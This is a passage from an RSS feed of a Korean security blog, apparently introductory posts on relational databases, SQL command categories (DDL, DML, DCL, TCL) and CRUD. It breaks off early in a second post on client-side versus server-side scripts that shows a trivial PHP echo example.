&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1135&quot; data-origin-height=&quot;353&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EUx54/btsKJAJbrhV/110KhkQkQkLKYMs7mg8Kdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EUx54/btsKJAJbrhV/110KhkQkQkLKYMs7mg8Kdk/img.png&quot; data-alt=&quot;그림3 - 데이터베이스 용어&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EUx54/btsKJAJbrhV/110KhkQkQkLKYMs7mg8Kdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEUx54%2FbtsKJAJbrhV%2F110KhkQkQkLKYMs7mg8Kdk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1135&quot; height=&quot;353&quot; data-origin-width=&quot;1135&quot; data-origin-height=&quot;353&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림3 - 데이터베이스 용어&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(A) = 데이터의 집합 &amp;rarr; 테이블&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(B) = 행 &amp;rarr; 레코드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(C) = 열 &amp;rarr; 컬럼&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;관계형 데이터베이스 관리 시스템(RDBMS)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관계형 데이터베이스를 관리하는 시스템을 RDBMS라고 부른다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주요 기능은 데이터 추가, 수정, 삭제, 조회, 데이터 무결성 유지, 트랜잭션 관리, 백업 및 복원, 보안 등이 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1322&quot; data-origin-height=&quot;541&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cnepzM/btsKKEKrEyW/dwAC5PVOHsTLzgmtHN7Ij0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cnepzM/btsKKEKrEyW/dwAC5PVOHsTLzgmtHN7Ij0/img.png&quot; data-alt=&quot;그림4 - 관계형 데이터베이스 관리시스템(RDBMS)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cnepzM/btsKKEKrEyW/dwAC5PVOHsTLzgmtHN7Ij0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcnepzM%2FbtsKKEKrEyW%2FdwAC5PVOHsTLzgmtHN7Ij0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1322&quot; height=&quot;541&quot; data-origin-width=&quot;1322&quot; data-origin-height=&quot;541&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림4 - 관계형 데이터베이스 관리시스템(RDBMS)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대표적인 관계형 데이터베이스는 Oracle, MySQL, MS-SQL, PostgreSQL 등이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;NoSQL의 대표적인 제품에는 MongoDB가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DBMS를 사용하기 위해서는 어플리케이션이 사용되는데 크게 두 가지로 분류된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- SQL 클라이언트 프로그램&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- JAVA, PHP, Python, C언어 등 프로그래밍 언어를 사용하여 접근&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;RDBMS의 절대강자 독보적인 1위 ORACLE&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1044&quot; data-origin-height=&quot;379&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dgfWRD/btsKKH1rYXj/5aUotIQpXShhqjC17AHVw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dgfWRD/btsKKH1rYXj/5aUotIQpXShhqjC17AHVw0/img.png&quot; data-alt=&quot;그림5 - 데이터베이스 순위&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dgfWRD/btsKKH1rYXj/5aUotIQpXShhqjC17AHVw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdgfWRD%2FbtsKKH1rYXj%2F5aUotIQpXShhqjC17AHVw0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1044&quot; height=&quot;379&quot; data-origin-width=&quot;1044&quot; data-origin-height=&quot;379&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림5 - 데이터베이스 순위&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그림5의 출처는 &lt;a href=&quot;https://db-engines.com/en/ranking&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://db-engines.com/en/ranking&lt;/a&gt; 으로, 데이터베이스 순위를 확인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;MySQL&lt;span&gt;&amp;nbsp;&lt;/span&gt;≒ MariaDB는 무료버전이라는 장점이 있다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Oracle과 MS-SQL은 공공기관 및 주요 기업에서 주로 사용하며, 유료이다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;대부분 기업에서 Oracle을 독보적으로 많이 사용하며 그 다음으로 MS-SQL과 IBM Db2가 사용된다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;SQL이란 무엇인가?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL(Structured Query Language)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 구조화된 질의문&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;787&quot; data-origin-height=&quot;327&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zvsNu/btsKJKq7XKW/SXRGckCPACAjhCXv8kVmn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zvsNu/btsKJKq7XKW/SXRGckCPACAjhCXv8kVmn0/img.png&quot; data-alt=&quot;그림6 - SQL 정의&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zvsNu/btsKJKq7XKW/SXRGckCPACAjhCXv8kVmn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzvsNu%2FbtsKJKq7XKW%2FSXRGckCPACAjhCXv8kVmn0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;787&quot; height=&quot;327&quot; data-origin-width=&quot;787&quot; data-origin-height=&quot;327&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림6 - SQL 정의&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Application = SQL 클라이언트 프로그램, 프로그래밍 언어(JAVA, PHP, Python 등)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Application에서 DBMS로 SQL을 사용하여 요청을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터베이스는 DBMS로 부터 요청을 받고 해당 데이터를 가져오거나 수정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;SQL 문법 종류&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;473&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbRkZe/btsKJKYXsDq/Ui4KpUuP55FgJuserr98YK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbRkZe/btsKJKYXsDq/Ui4KpUuP55FgJuserr98YK/img.png&quot; data-alt=&quot;그림7 - SQL 문법 종류(1)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbRkZe/btsKJKYXsDq/Ui4KpUuP55FgJuserr98YK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbRkZe%2FbtsKJKYXsDq%2FUi4KpUuP55FgJuserr98YK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;473&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;473&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림7 - SQL 문법 종류(1)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;811&quot; data-origin-height=&quot;373&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2cJF8/btsKIP7Tkh4/1d4T8jzGN9tRmndIaMwdXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2cJF8/btsKIP7Tkh4/1d4T8jzGN9tRmndIaMwdXk/img.png&quot; data-alt=&quot;그림8 - SQL 문법 종류(2)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2cJF8/btsKIP7Tkh4/1d4T8jzGN9tRmndIaMwdXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2cJF8%2FbtsKIP7Tkh4%2F1d4T8jzGN9tRmndIaMwdXk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;811&quot; height=&quot;373&quot; data-origin-width=&quot;811&quot; data-origin-height=&quot;373&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림8 - SQL 문법 종류(2)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;DDL(데이터 정의 언어)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 테이블과 같은 데이터의 구조를 정의하는 언어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데이터를 생성, 수정, 삭제 하는 등의 데이터의 전체 골격을 결정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데이터베이스, 테이블 등을 생성하는 역할 &amp;rarr; 데이터 구조와 관련된 명령어&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 65.3488%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 16.8605%; text-align: center;&quot;&gt;&lt;b&gt;종류&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 48.4883%; text-align: center;&quot;&gt;&lt;b&gt;역할&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 16.8605%; text-align: center;&quot;&gt;CREATE&lt;/td&gt;
&lt;td style=&quot;width: 48.4883%;&quot;&gt;데이터베이스, 테이블 등을 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 16.8605%; text-align: center;&quot;&gt;ALTER&lt;/td&gt;
&lt;td style=&quot;width: 48.4883%;&quot;&gt;테이블을 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 16.8605%; text-align: center;&quot;&gt;DROP&lt;/td&gt;
&lt;td style=&quot;width: 48.4883%;&quot;&gt;데이터베이스, 테이블을 삭제&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 16.8605%; text-align: center;&quot;&gt;TRUNCATE&lt;/td&gt;
&lt;td style=&quot;width: 48.4883%;&quot;&gt;테이블 초기화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 16.8605%; text-align: center;&quot;&gt;RENAME&lt;/td&gt;
&lt;td style=&quot;width: 48.4883%;&quot;&gt;데이터베이스의 객체 이름 변경&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;DML(데이터 조작 언어)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 정의된 데이터베이스에 입력된 레코드를 조회, 수정, 삭제하는 등의 역할을 하는 언어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- SQL Injection 공격 시 자주 사용되는 언어이다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 65.3488%;&quot; border=&quot;1&quot; data-ke-style=&quot;style12&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 16.8605%; text-align: center;&quot;&gt;&lt;b&gt;종류&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 48.4883%; text-align: center;&quot;&gt;&lt;b&gt;역할&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 16.8605%; text-align: center;&quot;&gt;SELECT&lt;/td&gt;
&lt;td style=&quot;width: 48.4883%;&quot;&gt;데이터 검색&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 16.8605%; text-align: center;&quot;&gt;INSERT&lt;/td&gt;
&lt;td style=&quot;width: 48.4883%;&quot;&gt;데이터 삽입&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 16.8605%; text-align: center;&quot;&gt;UPDATE&lt;/td&gt;
&lt;td style=&quot;width: 48.4883%;&quot;&gt;데이터 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 16.8605%; text-align: center;&quot;&gt;DELETE&lt;/td&gt;
&lt;td style=&quot;width: 48.4883%;&quot;&gt;데이터 삭제&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;DCL(데이터 제어 언어)&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;color: #333333; text-align: start; border-collapse: collapse; width: 94.7674%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 16.8605%; text-align: center;&quot;&gt;&lt;b&gt;종류&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 43.2557%; text-align: center;&quot;&gt;&lt;b&gt;역할&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 16.8605%; text-align: center;&quot;&gt;GRANT&lt;/td&gt;
&lt;td style=&quot;width: 43.2557%;&quot;&gt;특정 데이터베이스 사용자들에게 특정 작업에 대한 수행 권한 부여&lt;br /&gt;(특정 사용자만 특정 작업을 할 수 있도록 지정 가능)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 16.8605%; text-align: center;&quot;&gt;REVOKE&lt;/td&gt;
&lt;td style=&quot;width: 43.2557%;&quot;&gt;GRANT 명령으로 주어진 액세스 권한을 철회&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;TCL(트랜잭션 제어 언어)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데이터를 제어하는 언어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데이터의 보안, 무결성, 회복, 병행 수행제어 등을 정의하는데 사용&lt;/p&gt;
&lt;table style=&quot;color: #333333; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-style=&quot;style12&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 10.9303%; text-align: center;&quot;&gt;&lt;b&gt;종류&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 49.1859%; text-align: center;&quot;&gt;&lt;b&gt;역할&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 10.9303%; text-align: center;&quot;&gt;COMMIT&lt;/td&gt;
&lt;td style=&quot;width: 49.1859%;&quot;&gt;트랜잭션의 작업 결과를 저장 반영(트랜잭션 완료)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 10.9303%; text-align: center;&quot;&gt;ROLLBACK&lt;/td&gt;
&lt;td style=&quot;width: 49.1859%;&quot;&gt;데이터베이스를 마지막으로 COMMIT된 시점의 상태로 복원&lt;br /&gt;데이터에 대한 변경 내용은 논리적인 트랜잭션으로 그룹화 될 수 있다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 10.9303%; text-align: center;&quot;&gt;SAVEPOINT&lt;/td&gt;
&lt;td style=&quot;width: 49.1859%;&quot;&gt;ROLLBACK시 트랜잭션에 포함된 전체 작업 복원이 아닌 SAVEPOINT까지 트랜잭션의 일부만 롤백 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;데이터 처리를 위한, CRUD&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대부분 컴퓨터 소프트웨어가 가지는 기본적인 데이터 처리 기능인 Create(생성), Read(읽기), Update(갱신), Delete(삭제)를 묶어서 일컫는 말이다. 사용자 인터페이스가 갖추어야 할 기능(정보의 참조/검색/갱신)을 가리키는 용어로서도 사용된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1223&quot; data-origin-height=&quot;399&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/civFtA/btsKKxYYBYQ/R21gURKR2bdE0uiES1qMtK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/civFtA/btsKKxYYBYQ/R21gURKR2bdE0uiES1qMtK/img.png&quot; data-alt=&quot;그림9 - CRUD 의미&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/civFtA/btsKKxYYBYQ/R21gURKR2bdE0uiES1qMtK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcivFtA%2FbtsKKxYYBYQ%2FR21gURKR2bdE0uiES1qMtK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1223&quot; height=&quot;399&quot; data-origin-width=&quot;1223&quot; data-origin-height=&quot;399&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림9 - CRUD 의미&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/SQL-%EC%9D%B8%EC%A0%9D%EC%85%98-%EA%B3%B5%EA%B2%A9-%EA%B8%B0%EB%B3%B8-%EB%AC%B8%EB%B2%95&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/SQL-%EC%9D%B8%EC%A0%9D%EC%85%98-%EA%B3%B5%EA%B2%A9-%EA%B8%B0%EB%B3%B8-%EB%AC%B8%EB%B2%95&lt;/a&gt;&lt;/p&gt;</description>
      <category>웹 해킹/SQL 기본</category>
      <category>DBMS</category>
      <category>SQL</category>
      <category>sql injection</category>
      <category>데이터베이스</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/199</guid>
      <comments>https://it-log.tistory.com/199#entry199comment</comments>
      <pubDate>Sat, 16 Nov 2024 22:00:04 +0900</pubDate>
    </item>
    <item>
      <title>Cilent-Side Script, Server-Side Script에 대한 이해</title>
      <link>https://it-log.tistory.com/198</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Client-Side Sciprt와 Server-Side Script에 대한 이해&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 실습을 진행하기 전 XAMPP를 설치해야 하는데, XAMPP 설치는 &lt;a href=&quot;https://it-log.tistory.com/194&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;여기&lt;/a&gt;를 참고한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XAMPP 설치 후 C:\xampp\htdocs\example 경로에 test1.php 파일을 생성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test1.php는 서버 측에서 실행되는 Server-Side Script로 만들어진 파일이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; test1.php &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1731565747758&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php

	echo &quot;test&quot;;
	
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 파일의 코드를 작성 후 127.0.0.1/example/test1.php 접속 시 웹 브라우저에서 아래와 같이 확인이 가능하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;418&quot; data-origin-height=&quot;167&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/csbifZ/btsKJLiMrLp/EXwgkyjpciI1ySlhjvNnBk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/csbifZ/btsKJLiMrLp/EXwgkyjpciI1ySlhjvNnBk/img.png&quot; data-alt=&quot;그림1 - test1.php(1)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/csbifZ/btsKJLiMrLp/EXwgkyjpciI1ySlhjvNnBk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcsbifZ%2FbtsKJLiMrLp%2FEXwgkyjpciI1ySlhjvNnBk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;418&quot; height=&quot;167&quot; data-origin-width=&quot;418&quot; data-origin-height=&quot;167&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림1 - test1.php(1)&lt;/figcaption&gt;
&lt;/figure&gt;
